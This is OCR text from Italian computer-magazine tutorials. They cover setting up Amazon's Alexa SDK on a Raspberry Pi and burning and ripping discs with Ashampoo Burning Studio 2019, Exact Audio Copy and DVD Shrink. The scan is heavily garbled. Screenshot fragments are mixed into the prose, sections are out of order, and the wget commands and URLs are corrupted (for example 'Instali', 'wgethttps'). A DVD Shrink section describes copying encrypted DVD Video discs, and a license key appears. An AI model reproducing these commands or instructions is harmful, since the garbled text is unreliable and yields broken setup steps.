Press Next è 
without checi 


System is up to date ninue 


Your Raspberry Pi :s now set up and ready to go 


Press ‘Reboot' to reboot your Pi forthe new settings to take effect 





a } Operazione conclusa 
Una volta eseguiti tutti i passaggi elencati, 
see. non ci resta altro che cliccare sul pulsante 
Reboot per riavviare il sistema e rendere effettive 
le configurazioni apportate. Controlliamo, dopo il 
riavvio che tutto si sia stato configurato al meglio, 
controllando la lingua impostata e l'orario esatto, 
che si trova in alto a destra dello schermo. 
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QUALE MICROFONO 
CELGO? 

Se si vuole acquistare 
un nuovo microfono 
compatibile con Ra- 
spberry ed Alexa, una 
delle migliori scelte sul 
mercato è Bluelover 
Microfono USB per 
Raspberry Pi (13,68€ 
acquistabile su https:// 
amzn.to/2AwZti8), un 
dispositivo plug and 
play utile non solo al 
nostro progetto ma in 
generale, anche a quelli 
legati alla domotica, 
sempre realizzati con 
Raspberry. 


SE NON SI HANNO 

I PERMESSI 

Nel Passo (2 potrebbe 
comparire, dopo aver 
cliccato su AVS CONSOLE, 
il messaggio di errore 
“Unauthorized”, tradot- 
to: “Non autorizzato”. 
Ciò accade poiché non 
abbiamo completato la 
registrazione. Perfarlo, 
rechiamoci sull'icona 
del nostro account, in 
alto a destra e clicchia- 
mo su Completa la regi- 
strazione, Infine dare- 
mo l'OKe accetteremo i 
termini di contratto. 


LE INFORMAZIONI 
SONO PRIVATE 
Durante la configura- 
zione iniziale di Alexa 
(dal Passo C1 a quello 
(6, per intenderci), ci 
verranno mostrate a 
schermo alcune infor- 
mazioni private, come il 
Client ID. È importante 
non condividere tali 
informazioni con nessu- 
no, essendo univoche e 
private. 
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© Vtilità&Programm. 
ZIE 0 Alexa sul Raspy PC 


| Fai da te | L'assistente vocale fai-da-te! | 


Preleviamo tutti gli strumenti necessari dal sito ufficiale Amazon e configuriamo 


a Preleviamo PSDK 
Avviato il terminale LXTerminal, digitiamo questi 3 comandi: 
tania. 1. wget https://raw.githubusercontent.com/alexa/avs-devi- 
ce-sdk/master/tools/Instali/setup.sh 2.wget https:/raw.githubuser- 
content.com/alexa/avs-device-sdk/master/tools/Install/genConfig. 
sh 3.wgethttps://raw.githubusercontent.com/alexa/avs-device-sdk/ 
master/tools/Instali/pi.sh 





a | Settiamo Alexa 
3 | A questo punto clicchiamo su CREATE PRODUCT e, nella 
Wes: nuova schermata che appare andiamo a riempire i vari campi 
richiesti: in Product name assegniamo un nome a piacere al nostro 
progetto (es: “MyA/exa"), in Product ID assegniamo un [D di identifi- 
cazione (es: “Pi3"), selezioniamo poi la tipologia del dispositivo che si 
sta creando, ovvero Device with Alexa built-in e in Will your device 
use a companion app? spuntiamo No. 


LWA Security Profile 





a | La sicurezza prima di tutto 


hi A questo punto viene richiesto di creare un profilo di sicurez- 
sas Za. Clicchiamo sulla voce CREATE NEW PROFILE e riempia- 
mo i campi richiesti. In Security Profile Name inseriamo una voce 
qualsiasi (es: “AlexaTest’) e in Security Profile Description inseriamo 
una descrizione (es: “MyAlexa on Raspberry Pi"). Clicchiamo infine 
su Next. Nella nuova schermata che appare notiamo subito un ID per 
il profilo di sicurezza (Security Profile ID). 


| ad hoc il file utile al funzionamento di Alexa sul nostro Raspberry Pi. 





a Logghiamoci sul sito 


| Rechiamoci ora sul sito https://developer.amazon.com/it/ ed 

se. accediamo tramite il nostro account developer Amazon, Nel 

caso non ne avessimo uno, possiamo crearcelo da qui: https://amzn. 

to/2LN84Sg. Clicchiamo su Alexa, successivamente su /ntegra Alexa 

all’interno del tuo dispositivo e selezioniamo la voce AVS CONSOLE. 
Infine clicchiamo su GET STARTED. 


UPLOAD IMAGE 


MAX: 142 X 130 PX 





a è Ancora qualche piccolo ritocco 


In Product category selezioniamo Wireless Speakers, 
ve in Brief product description inseriamo una descrizio- 
ne qualunque, spuntiamo poi la voce Hands-free: l'utente 
in pratica interagirà con il Raspy direttamente con la pro- 
pria voce. 
Infine rispondiamo No a tutte le domande successive e clic- 
chiamo su Next. 





a Scarichiamo il file di configurazione 


(è | Clicchiamo su Other devices and platforms. In Client ID 

sissi. Name assegniamo un nominativo a piacere (es: Pi3) e poi 
GENERATE ID. Facciamo clic su DOWNLOAD per scaricare il file 
contenente la configurazione creata (config.json), dopodiché accet- 
tiamo le condizioni d’uso e clicchiamo su FIVISH. Prendiamo ora il file 
con estensione .json appena scaricato e spostiamolo, dalla cartella 
Downloads, in /homef/pi. 


i Ultimi ritocchi e la prova del 9 


Riprendiamo in mano il terminale del nostro Raspherry e andiamo a lanciare alcune istruzioni che ci 
permetteranno di dare vita ad Alexa. Il tutto sarà abbastanza veloce. Ecco i passi da effettuare... 





a; Il Rasp parla con Amazon... 


Lanciamo l'installazione del software forni- 

to da Amazon dandogli in input il file config. 
json, precedentemente scaricato dal sito ufficiale, 
aprendo il terminale LXTerminal e digitando: sudo 
bash setup.sh config.json. Dopo qualche secondo, 
il procedimento si ferma: digitiamo AGREE per con- 
fermare e procedere con l'operazione. 


amazon 
Register Your Device 


n 
01 "Costmar” 16 gute La Ph move step 


Cantine 





a =@ Siamo alla fine! 

Completed Configuration/Build indica che il 

processo è terminato. A questo punto dob- 
biamo autorizzare il Raspy ad accedere al nostro 
account developer di Amazon e, per fare ciò, apriamo 
il browser e digitiamo: https://www.amazon.com/a/ 
code/?language=en_US. Logghiamoci con le creden- 
ziali del nostro account e, lasciando la pagina (Regi- 
ster Your Device) aperta, rechiamoci su LXTerminal. 








10 PARLO, IL RASPBERRY MI RISPONDE Dopo questo 
tedioso procedimento, finalmente siamo pronti a 
dialogare con Alexa! Ma cosa dire? Cosa possiamo 
chiederle? Dai uno sguardo al box di fianco e divertiti 
pure ad interrogare il tuo nuovo assistente virtuale! 


à è, Ma SOlO dopo aver 
In ato la libreria 
Dopo qualche minuto di attesa, accettiamo le 
licenze d'uso della libreria Sensory TrulyHandsFree 
che fondamentalmente ci permette di parlare con 
Alexa e ricevere delle risposte. Quando compare la 
scritta Press RETURN to review the license agree- 


ment and update the files digitiamo RETURN. 





a | Connettiamo il microfono 
Inseriamo il microfono nel Raspy e dalla conso- 
le digitiamo sudo bash startsample.sh. Dopo 

qualche secondo, il terminale stampa a video il codice 
da inserire nella pagina Web Register Your Device, che 
si trova subito dopo la scritta {...] and enter the code. 
Copiamo/incolliamo tale codice nella pagina Amazon. 
Nella successiva pagina Web clicchiamo Allow, auto- 
rizzando il Raspberry ad interagire con Alexa. 


10 DOMANDE DA FARE ASSOLUTAMENTE 


La nostra assistente virtuale Alexa a peria: dr 
cosa può fare? Cosa possiamo chiederle? A ia i 
quesiti è in grado di rispondere? Lo scoprire e 
solo usandola a fondo... nel mentre però, diver- 
titevi interrogandola su questi temi. 


Dimmi una barzelletta: 
| utile per farsi quattro risate. 


Qualè il significato della vita?: 
da chiedere nei momenti di noia. 
Quando morirò?: 

semplice curiosità. 


Alexa, sai rappare?: per sorprendere gli 
amici che invitiamo in casa. 





a Accettiamo i termini 
ell'accordo... 

A questo punto compare la scritta More. Pre- 
miamo /nvio tante volte fin quando non compare la 
scritta Do you accept this license agreement? [yes 
or no] e digitiamo yes e successivamente confermia- 
mo premendo il tasto /nvio. Dopo quindi aver accet- 
tato le licenze d'uso, il processo di setup continuerà. 





a L'assistente vocale è 

pronta! 

Il procedimento da terminale è conclu- 
so quando appare la scritta “A/exa is currently 
idle!". Premiamo ora il tasto C della tastiera, 
dopodiché il tasto 7 ed infine il 9 per cambiare 
la lingua, assegnando quella italiana. 








Raccontami una favola: 
5 da provare! 


Dimmi il centesimo 
numero primo: Alexa se la 


cava bene anche in matematica! 


Alexa, cosa è successo oggi?: utile 
F per conoscere le news del giorno. 


Che film ci sono stasera?: per chi 
cerca un po'di intrattenimento serale. 


Che tempo fa a Milano?: prepariamoc! , 
ad uscire con l'ombrello, nel caso! 


Alexa, comedici *frase* in *altra lin- 
] gua*?: Alexa fa anche da traduttore. 





Utilità&Program. 


| Fai da te | Ashampoo Burning Studio 2019 | 





Film 


lavlist di MP3, foto o interi CD audio? 





Scopri 





uanto è facile realizzare i tuoi CD/DVD! 


Master In 


Sito Internet: 
www.ashampoo.com 


asterizzare. Oggi è una bazzecola, una 
M sciocchezzuola, ma solo pochi anni fa 

era una sorta di procedura alchemica 
i cui segreti erano riservati solo a pochi adepti. 
Iprimi masterizzatori consumer videro la luce 
negli anni '90; potevano masterizzare solo CD 
elaloro installazione non era affatto semplice: 
spesso occorreva difatti aggiungere una nuova 
scheda di espansione al computer (controller 
SCSI). Anche l'utilizzo non era affatto semplice 
come oggi. I programmi di masterizzazione 
erano più complicati di quelli attuali e durante 
la masterizzazione occorreva spesso eliminare 
qualunque altro programma in esecuzione per- 
ché bastava un nonnulla per bloccare il flusso 













ora! 






Richiedo la tua chiave personale 
per F'attivazione permanente e ci 





Ottieni la tua chiave di versione completa ora: 


flora parromef@ibaro il 


@ nice pre 





astaripoo | 


" 


Ottieni una versione completa gratuita 


Un browser veloce, sicuro, facile da usare 


dati e rendere inutilizzabile il supporto inserito 
nel masterizzatore. Le velocità di masterizza- 
zione, poi, erano da letargo: masterizzare 
un CD-Rom era un'operazione che poteva 
durare ben più di un'ora. Fortunatamente 
in questo settore i tempi necessari affinché 
una tecnologia evolva sono piuttosto rapidi. 
Ben presto arrivarono nuovi formati oltre 
al CD-R, nacquero i supporti riscrivibili, 
le velocità crebbero velocemente e i costi 
diminuirono altrettanto velocemente. Oggi 
finalmente tutti possiamo realizzare CD 
o DVD in pochi minuti e senza utilizzare 
particolari accortezze. L'importante è, però, 
avere un programma di masterizzazione 


Il masterizza tutto va sul PC! 


Installare Burning Studio 2019 è semplicissimo. Ti facciamo vedere passo dopo passo come fare. 


La tua chiave di licenza: 


SOFTWARE DI 
MASTERIZZAZIONE 


ASHAMP00 
BURNING 
STUDIO 2019 

Lo trovi su: (MCD IMDVD 
Quanto costa: € 14,99 


(gratis solo per'i lettori 
i Win Magazine) 


che sia semplice da utilizzare, flessibi- 
le e con tutti gli strumenti necessari per 
masterizzare dal CD Dati al DVD Video. 
Ashampoo Burning Studio 2019 è uno dei 
migliori programmi di masterizzazione 
attualmente disponibili, semplice da uti- 
lizzare, completamente guidato in tutte le 
procedure e dotato di funzioni avanzate 
e anche di qualche piccolo ed utile plus 
come la possibilità di creare cover e libretti 
interni per CD e DVD. Piccolo particolare 
da non sottovalutare: per voi lettori di Win 
Magazine il programma è completamente 
gratuito, e non è cosa da poco. Scopriamo 
come utilizzarlo al meglio. 








B220AF-77AFF7-557967 | 


Copia deglppuni 


Attiva oral 
















a è Richiediamo il numero di serie 
Awviamo l'installazione prelevando il file dal nostro supporto, accettiamo 
sans il contratto di licenza con Accetto e procedo e nella successiva scher- 
mata clicchiamo su Ottieni una chiave di attivazione gratuita per avviare la 
procedura di richiesta della chiave. Nella nuova schermata inseriamo la nostra 
email, poi clicchiamo sul pulsante Richiedi chiave per versione completa. Con- 
trolliamo la posta e clicchiamo sul pulsante Fai clic qui. 
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a Attiviamo il programma 


Nella schermata successiva clicchiamo su Non ora, poi premiamo 
Ctrl+C per copiare la chiave di licenza. Torniamo su Burning Studio 
e clicchiamo su Copia dagli appunti per inserire la chiave di licenza nell’ap- 
posito campo, quindi clicchiamo su Attiva Ora!. Proseguiamo con un clic 
su Avanti per due volte e attendiamo che l'installazione venga completata. 
AI termine clicchiamo su Fine per avviare Ashampoo Burning Studio 2019. 

















Masterizzare il DVD di Windows 10 


Quanti di noi hanno un PC con tanto di codice seriale di Windows 10, ma non hanno il DVD di installazione? 
Ecco, tra le molte cose che Ashampoo Burning Studio 2019 ci permette di fare, una tra le più utili è quella di 
masterizzare un DVD di avvio per (re)installare Windows 10. Nei prossimi passi ti spieghiamo come fare. 





a Serveun aiutino 


) 


a) Scarichiamo la ISO giusta 


Installazione di Windows 10 


Masterizza il file ISO su un DVD 





Avviamo il browser e colleghiamoci su http://bit.ly/2HI9dlg, clicchiamo su 

Scarica ora lo strumento, successivamente eseguiamo l’utility Microsoft 
quindi, clicchiamo su Avanti, Accetta e quando ci sarà chiesto cosa fare, selezio- 
niamo la voce Crea supporti di installazione (unità flash, DVD o file /S0) per un 
altro PC. Proseguiamo con Avanti per accettare le impostazioni predefinite e anco- 
ra clic su Avanti, 


[StVigallalo! 


itlo{[o) 
ha 





a Scegliamo l’immagine 


Awiamo Ashampoo Burning Studio 2019 e nella barra laterale clicchiamo 

su Immagine disco, poi su Masterizza immagini. Nella nuova finestra clic- 
chiamo sul pulsante Sfoglia e selezioniamo la ISO dalla cartella nella quale l’aveva- 
mo salvata, quindi clicchiamo sul pulsante Avanti per proseguire. Il programma si 
predispone in attesa che venga caricato un disco vuoto nel masterizzatore. 


Nella schermata successiva selezioniamo quale versione del SO scaricare 

(le impostazioni di default sono ottimizzate per il tuo PO) e la voce File /S0. 
Clicchiamo su Avanti, quindi scegliamo dove scaricare la ISO (che convenzional- 
mente viene nominata “Windows.iso”) e avviamo il download con un clic su Salva. 
Adesso non ci resta che attendere che il download termini. Alla fine, avremo un'im- 
magine ISO da masterizzare su DVD. 


= MASTERIZZA IMMAGINE DISCO SOR IENE Emissione 


Inpostazoni di scstire 


F_I0O] UTEON DVDRW LH:20A15 Rot. lo sportelo 


a è Masterizziamo la IS0 
Inseriamo un DVD vergine, clicchiamo su Verifica per attivare la verifica 
post-scrittura dei dati (sempre consigliabile quando sono importanti), 
quindi clicchiamo sulla casella Velocità e selezioniamone una intermedia, ad 
esempio 4x. Fatto ciò, clicchiamo su Scrivi DVD per avviare la masterizzazio- 
ne, al termine della quale il DVD sarà verificato ed espulso. 


R/RW 

| supporti con suffisso“R"(+ 0 
-) sonoscrivibili una sola volta, 
mentre quelli che hanno suffis- 
so RW possono essere scritti e 
riscritti più volte. | primi sono 
l'ideale per supporti destinati 
a durare nel tempo, mentre i 
secondi permasterizzazioni oc- 
casionali e destinate ad essere 
eliminate. 


Single Layer / Dual Layer 

I supporti DVD possono avere 
uno o due layer (strati) sui quali 
è possibile scrivere dati. Il pas- 
saggio da uno strato all'altro 


viene gestito in automatico dal 
programma di masterizzazio- 
ne, senza che l'utente debba 
impostare alcunché, 


Single Sided / Double Sided 
I supporti DVD possono avere 
una sola faccia scrivibile, op- 
pure due. Questo permette 
di aumentare la capacità di 
memorizzazione raddop- 
piandola. Rispetto ai supporti 
Dual Layer, il cambio dev'essere 
gestito dall'utente, che deve 
fisicamente girare il disco nel 
masterizzatore/lettore per ac- 
cedere all'una o all'altra sede. 


Blu-Ray 

Il formato Blu-ray è l'ultimo 
natotra i supporti ottici di me- 
morizzazione ed è anche il più 
capiente e veloce nel trasferire 
dati. Capace di immagazzinare 
finoadunmassimodi 128GBdi 
dati (Blu-ray a 4strati), è anche 
l'unicoingradodioffrire lo spa- 
zio necessario a memorizzare 
un film in formato UltraHD, 
tanto che è stato creato uno 
standard apposito chiamato 
UltraHD Blu-ray. 


ISO 
| file ISO, o file immagine, è 


una sorta di scatolone all'in- 
terno del quale sono contenu- 
tialtrifile. Esistono programmi 
per masterizzare file ISO su 
CD o DVD edaltri per“mon- 
tarli”nel sistema ed utilizzarli 
come se fossero dei supporti 
fisici reali. 


Chiudere la sessione 

È l'operazione necessaria per 
permettere ai normali lettori 
CD/DVD di leggere i contenuti 
scritti sul supporto. Dopo aver 
chiuso la sessione è comunque 
possibile scrivere altri dati sul 
disco. 


Chiudere il disco 

La finalizzazione o chiusura 
di un disco è l'operazione che 
rende non più scrivibile un di- 
sco, anche se su questo resta 
ulteriore spazio libero. 


DAO 

Disc At Once. È il metodo di 
masterizzazione da utilizzare 
per i CD Audio perché per- 
mette di non avere “buchi” 
di silenzio tra le tracce audio. 
Con questo metodo il laser 
non si spegne mai e il disco 
viene chiuso automatica- 
mente, 
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Masterizzare un CD Audio 


Nei passi precedenti abbiamo visto come si possa realizzare un CD zeppo di MP3. Qui invece vedremo come sia 
possibile realizzare una perfetta copia 1:1 di un CD Audio, così da preservare la - con del CD originale e poter 
invece utilizzare la copia in auto o dovunque vogliamo, senza il timore di graffiarla e rovinarla. Ecco come fare. 





Masterizza dati 


Audio + Musica 


G Crea CD audio 


Filmato @ Crea disco MP3 0 WMA 


Copertine + Inserti È Copia file musicali su disco 
"a PES GNI peso 
Copia disco ò 
Immagine disco 


Backup 


4) Rippiamo il CD Audio 

1 . Avviamo Burning Studio 2019, quindi clic- 

ag. chiamo su Audio + Musica nella bar- 
ra laterale sinistra, poi su Ripping da CD Audio. 
Inseriamo un CD Audio nel drive, poi clicchiamo 
su Avanti per recuperare le informazioni relative ai 
brani contenuti nel CD, all'artista e al nome dell'al- 
bum. Quando appariranno, clicchiamo su Avanti. 


MASTERIZZA UN CD AUDIO 


Tmsa ne doge rome 





a è Aggiungiamo i file audio 





4 — Nella nuova schermata clicchiamo sul pulsan- 

sais. te + nella barra di destra e cerchiamo la car- 
tella nella quale abbiamo rippato il CD Audio. Qui trove- 
remo tutti i brani in ordine e con il loro nome. Selezio- 
niamoli tutti premendo i tasti Gtrl+A e poi clicchiamo 
sul pulsante Aggiungi in basso a destra. Torniamo in 
Ashampoo Burning Studio 2019 e diamo uno sguar- 
do alle opzioni. 





a > Scegliamo il giusto formato 


2 Nella schermata successiva clicchiamo nella 

seme. casella di selezione a discesa che si trova nella 
sezione Opzioni emissioni e scegliamo la voce WAV 
(non compreso) per preservare intatta la qualità audio 
dei brani. Clicchiamo su Sfoglia e selezioniamo la car- 
tella nella quale copiare le tracce audio, quindi avviamo 
il ripping vero e proprio cliccando sul pulsante Ajpping. 





a © Qualche impostazione 


‘ Cliccando sul pulsante con la rotella nella 
same. sezione Mormalizzazione, potremo “nor- 
malizzare” i brani, lasciando che il programma 
livelli l’audio di tutte le tracce rendendolo il più 
possibile equilibrato. Con Pause, invece, potremo 
inserire delle pause da 2 secondi tra una traccia e 
l’altra; lasciamo le impostazioni predefinite e pro- 
seguiamo clicchiamo su Avanti. 





a Creiamo il CD Audio 
2 Terminato il Ripping potremo aprire la car- 
tella nella quale abbiamo salvato i file audio 
cliccando su Apri la cartella di uscita, tornare al 
menu principale con Torna al menu principa- 
le, oppure rippare un altro supporto. Torniamo al 
menu principale e clicchiamo su Audio + Musica 
nella barra di sinistra, poi su Crea CD Audio. 


Normalizza le impostazioni 
Questo renderà più o meno uguale ii volume di tutte le tracce del CD. 


[i Normalizza il volume di tutte le tracce 


Impostazioni pause audio 
Applica o rimuovi le pause all'inizio delle tracce. 


@® Inserisci pause standard di 2. secondi tra le tracce tracce del CD 
ONessuna pausa tra i brani del CD 


Guida 





a è La copia è servita 

6 Inseriamo un CD vuoto nel masterizzatore e 

se. poi abbassiamo la velocità per essere sicuri di 
masterizzare un CD Audio perfetto portandolo al mas- 
simo a 16x. Velocità superiori su supporti non perfetti 
potrebbero portare il CD ad avere fruscii e fastidiosi clic 
durante la riproduzione. Clicchiamo su Scrivi CD per 
avviare la scrittura del disco. Alla fine un clic su Escici 
permetterà di concludere la procedura. 


Finalizzazione 

Lafinalizzazione è la fase della 
scrittura nella quale il supporto 
viene“chiuso”definitivamente. 
Dopo di essa, non si può più 
scrivere altro sul supporto, qua- 
lunquesia il metodo utilizzato. 


Lead-In 

È un'area situata all'inizio di 
ciascuna sessione di un sup- 
porto registrabile, destinata 
a contenere la TOC della ses- 
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sione. Occupa circa 9 MB sul 
disco ed è particolarmente 
importante perché se il disco 
è inmultisessione e non è chiu- 
so, indica qual è il successivo 
indirizzo disponibile sul disco 
perla scrittura. 


Lead-Out 

Alcontrario del Lead-In è l'area 
posta alla fine di una sessione, e 
indica la fine dei dati. La prima 
area di Lead-Out occupa circa 


13 MB, mentre le successive 
solo 4MB circa. 


Multisessione 

Viene così indicato un disco 
sul quale sono state maste- 
rizzate più sessioni. Quando si 
masterizza un supporto con 
questa tecnica bisogna sempre 
considerare una diminuzione 
dello spazio di memorizzazione 
adisposizione dei dati, visto che 
parte di questo è utilizzato per 


conservare la TOC. 


PacketWriting/Incrementale 
È un metodo di registrazione 
nel quale i dati vengono scritti 
intante piccole parti eintempi 
diversi, cosa non possibile coni 
metodi TAO e DAO. Quando si 
utilizza questo metodo il sup- 
porto può essere scritto simil- 
mente ad un disco rigido o ad 
unfloppy disk, quindi creando, 
cancellando e riscrivendo file e 


cartelle senza necessariamen- 
te dover masterizzare l'intero 
disco. Ovviamente quando si 
cancella un file o una cartella, 
lo spazio occupato non viene 
reso nuovamente disponibile 
perla memorizzazione. 


TAO 

Track At Once. È un tipo dima- 
sterizzazione che permette di 
registrare più tracce, anche in 
tempi differenti, su un CD. 


‘| Ashampoo Burning Studio 2019 | Fai da te | 





Quando si devono [E 
masterizzare grandi 












ED rostegizza dat 


[e] Nuovo disco 





Masterizzare un DVD Dual Layer 


a è Fatto! 
. Inbasso verrà mostrata l'occupazione dei file inse- 
se? riti nel progetto e anche il tipo di supporto necessa- 
rio alla masterizzazione, con il relativo spazio libero (teorico). 
Quando siamo pronti possiamo cliccare su Avanti per acce- 
dere alla pagina di scelta delle opzioni di masterizzazione. 
Basterà cliccare su Scrivi DVD per awiare la masterizzazione. 


quantità di dati su | 2 + stante 
supporto otticole |P" > TERENZIO 
alternative sono soltanto | &..... na 
due: utilizzare un Blu- L= mio 
ray, la cui diffusione è . 
ancora oggi piuttosto —».Avviamo Ashampoo 
SCarsa, oppure un 1 . Inseriamo il DVD Dual Layer nel masterizzatore, poi 
DVD Dual Layer, ChE... avviamo Ashampoo Buming Studio 2019, clicchiamo 
raddoppia la capienza di su Masterizza dati e Nuovo disco. Clicchiamo sull'icona + 
un normale DVD. per sfogliare le cartelle del disco rigido e aggiungere file al 
E per masterizzarlo? nostro DVD, oppure semplicemente trasciniamo le cartelle e 
Ecco come si fa. ifile nella finestra di Ashampoo. 


Creare una playlist di MP3 su CD 


Le moderne autoradio leggono senza problemi non solo i classici CD Audio, ma anche CD con MP3. La cosa ci rende 


estremamente felici perc 


é possiamo creare CD contenenti anche più di un centinaio di brani selezionati dalla nostra 


collezione. Per l'occasione usiamo Exact Audio Copy che trovi sempre nel nostro supporto. 


LC DR LARE LISI etnea EI sì 


ipgua man è > 





A acta? 


n Estraiamo i file audio 

1ì Inseriamo il CD Audio del quale vogliamo eseguire il backup, avviamo Exact 
se. Audio Copy (EAC), che lo leggerà proponendoci i file contenuti nella scher- 
mata al centro, con tutti i file selezionati. Per ripparli clicchiamo sull'icona CMP sulla 
barra laterale di sinistra (la seconda dall'alto), poi scegliamo la cartella nella quale 
salvare i file, clicchiamo su OK e attendiamo la fine della conversione. 


(1 Ainotoo » usino P Quansnitt » IICDIUR RI » Misura » 





a} Scegliamo i file da masterizzare 


3 . Clicchiamo sul pulsante con la grande + blu a destra, sfogliamo le cartelle 
ta. del disco rigido fino a trovare quella nella quale abbiamo salvato i file MP3, 
selezioniamoli tutti e clicchiamo su Aggiungi e, al termine, su Avanti per prose- 
guire. Verrà ora awiata l'analisi dei file e l'equalizzazione del volume. L'operazione 


può richiedere anche diversi minuti, se il numero dei file da masterizzare è elevato. 








[] Nomalizza i volume di tutse le tacce. Cè rerlerà d volume di tutte 
lesmoce del CD quasi uprute. 


Fiictometeo 





a è Qualche impostazione preventiva 
2 . Aifilerippati dal CD possiamo ovviamente aggiungere altri MP3 già presen- 
ama. ti su disco, o utilizzare soltanto MP3 che fanno parte della nostra playlist. 
Awiamo Ashampoo Burning Studio 2019 e nella barra laterale di sinistra clicchia- 
mo su Audio + Musica e Crea disco MP3 0 WMA. Nella nuova schermata clicchia- 
mo su Normalizza il volume di tutte le tracce e poi su Automatico, quindi Avanti. 


4\ La pievi 
A diMP3ésuCD 

ses Al termine dell’opera- 
zione Ashampoo si predispone 
per la masterizzazione su disco 
dei contenuti selezionati, Assicu- 
riamoci sempre che la modalità 
DAO (Disc at Once) sia selezio- 
nata, altrimenti il disco potreb- 
be risultare illeggibile su alcune 
autoradio, assicuriamoci anche 
che la velocità selezionata sia 
intermedia, massimo 24x, e clic- 
chiamo su Scrivi CD per awiare 
la masterizzazione. Fatto. 
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Una cover per i nostri CD/DVD 


Tutti i supporti ottici in vendita hanno una copertina e, sposto, anche un libretto interno che ne descrive i contenuti. 
0 


Perché allora non crearne uno anche per i nostri CD 


D masterizzati? Gli strumenti per poter realizzare una 


raffinata cover oppure un gradevole libretto interno sono già a nostra disposizione in Ashampoo Burning Studio. 


[) 


ti Masterizza dati 
si Audio + Musica 
i»:] Filmato 

{5») Copertine + Inserti 
@ Copia disco 

Jo) Immagine disco 


€ Backup 


a è Scegliamo cosa fare 


In Ashampoo Burning Studio 2019 clicchiamo 

su Copertine + Inserti nella barra laterale di 
sinistra e nella schermata successiva scegliamo il tipo 
di cover da realizzare. Possiamo optare per le classiche 
custodie per DVD alle custodie sottili passando per le 
custodie per Blu-ray e addirittura anche realizzare il 
libretto interno dei DVD. 


© 
= CREA E STAMPA ETICHETTE È COPERTINE PER | CO/DV0/B0 — MMNZSESIENIIS> impostazioni | Emissione 


a | Inseriamo le informazioni 
general... 

Qui possiamo inserire un titolo per il DVD ed 
un eventuale sottotitolo. Cliccando sulle caselle di sele- 
zione dopo Contenuto del disco: potremo specifica- 
re il tipo di contenuti presenti nel disco e adattare di 
conseguenza le successive informazioni da inserire. 
Clicchiamo, ad esempio, su Musica, poi sul pulsante 
Nuova riga che si trova nella barra laterale di destra. 


Editor tabelle 


Modifica Formato Tabella 


OO|bi uje | AMM]I #53|b37 


a è Un po’ di colore 


Clicchiamo su Muova tabella e Indice per aggiungere l'indice dei conte- 

*. nuti, poi cliccando sui quadratini presenti sui bordi potremo aumentarne o 
diminuime le dimensioni. Visto che le lettere non si leggono sullo sfondo nero, con 
un doppio clic apriamo l'indice e cambiamo il colore del testo da nero a bianco clic- 
cando sulla casella con i colori dopo aver selezionato tutto il testo con i tasti Ctr+A. 
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a Garichiamo uno sfondo... 
Clicchiamo su Custodia DVD per realizzare 
una cover per le custodie a libro dei DVD. 
Per aggiungere uno sfondo alla custodia clicchia- 
mo su Acquisisci immagine e poi su Custodia 
DVD. Nella nuova schermata clicchiamo su /mpor- 
ta l’immagine, da file, cerchiamo l’immagine da 
caricare e clicchiamo su OK. 


à | ..@ Ora i contenuti 
“ © Vistoche abbiamo scelto Musica come tipo di 
dati, dovremo inserire il titolo del brano, l’in- 
terprete e la durata. Possiamo anche aggiungere una 
miniatura cliccando su Carica miniatura e scegliendo 
il file come fatto per l’immagine della cover al Passo 
2. Cliccando su Chiudila riga sarà inserita nella cover 
8 potremo proseguire inserendone altre. Alla fine clic- 
chiamo su Avanti. 


Modifica Formato Inserisci 





A. Sistemiamolo 
Se l'immagine non copre esattamente l'area 
della cover dovremo modificarla con un pro- 
gramma esterno, visto che Buming Studio non ci per- 
mette di ridimensionarla a piacere. Quando avremo 
trovato uno sfondo soddisfacente possiamo cliccare 
sul pulsante Pronto per proseguire. Clicchiamo ora su 
Avanti per andare sulla schermata successiva. 


TS CREA E STAMPA ETICHETTE E COPERTINE PER 1 C0/DV0/80 RIO III emissione 
colt amixit ELISE: 


È cmorsa 





a Personalizziamo la cover 
Nella schermata successiva potremo persona- 
lizzare la cover del DVD. Cliccando su Nuova 

tabella potremo inserire una tabella con l'elenco dei 
brani aggiunti al passo 5. Con Nuova grafica potremo 
invece inserire elementi grafici e immagini, con Nuovo 
testo dei testi alla cover e con Sfondo potremo cari- 
care un'immagine da utilizzare come sfondo al posto 
di quella attuale. 


XE bijux Forgiato, Nene N] Q 


MUSICA PER DARE E NUMERI 





a Aggiungiamo un titolo 


le applicheremo. 


Clicchiamo su Nuovo testo, poi su Titolo per aggiungere il titolo alla cover. 
Con un doppio clic sul riquadro appena inserito potremo variame le dimen- 
sioni, l’Allineamento, il colore e altri elementi del testo, così da renderlo risponden- 
te alle nostre esigenze. Al termine con un clic su OK accetteremo le modifiche e 


X BP b/UET= fingere sie] 20 


NUOCE GRAVEMENTE Al 
MUSONI 


rfrrenzione 


a è Aggiungiamo un “bollino” 


Con un clic su Nuovo testo e Testo circolare potremo 1 

aggiungere una sorta di “bollino” circolare nel quale inse- 
rire, ad esempio, una frase simpatica. Potremo spostare il riquadro 
cliccando al suo interno con il tasto sinistro del mouse e trascinar- 
lo, oppure ruotarlo cliccando sul quadratino posto all'estremità della 
linea che parte dal centro del testo e va verso l'esterno. 


Masterizzare un DVD Video 


| DVD Video, un po’ come tutti i supporti ottici, non sono eterni. Una visione dopo l’altra e sulla sua superfice 
si accumulano por che alla lunga possono comprometterne la leggibilità da parte dei lettori da tavolo. Il modo 
migliore per evitarlo è crearne un backup, così da poter conservare al sicuro l'originale. Ecco come fare. 












a Avviamo DVD Shrink 

Una volta installato il software giusto, inse- 
ss. riamo il DVD Video di cui vogliamo esegui- 
re il backup nel lettore del computer, poi avviamo 
DVD Shrink e clicchiamo su Open Disc. Selezioniamo 
l'unità contenente il DVD Video poi clicchiamo su Ok 
8 aspettiamo che il programma legga i contenuti del 
supporto. DVD Shrink comprime automaticamente i 
video per farli entrare in un DVD da 4,3GB. 










Eltnable Video Preview 











Decrypton Status: EE:73:43:3C:AF 


Rate: 
Buffered: 


a. Trasferiamo il film sul PC 
A © Fatto clic su Okper avviare la copia dei con- 
tenuti dovremo attendere la fine della proce- 
dura di Encoding. Il tempo occorrente varia e dipende 
sia dalla compressione necessaria che dalla potenza 
del computer e dalla velocità con la quale l’unità DVD 
riesce a trasferire i dati video. AI termine un clic su OK 
ci permetterà di concludere la procedura. 











a Infine, si stampa! 


Al termine delle modifiche un clic su Avantici porterà nel- 
la schermata di stampa. Qui potremo cliccare sulla casella 
“Con crocette di ritaglio” per far stampare assieme alla cover anche 
delle crocette di allineamento che ci permetteranno di ritagliare e 
piegare con più precisione il foglio. Facciamolo e poi clicchiamo su 


ASUS 

ZENDRIVE U9M 
Un masterizzatore esterno 
è sicuramente un accessorio 

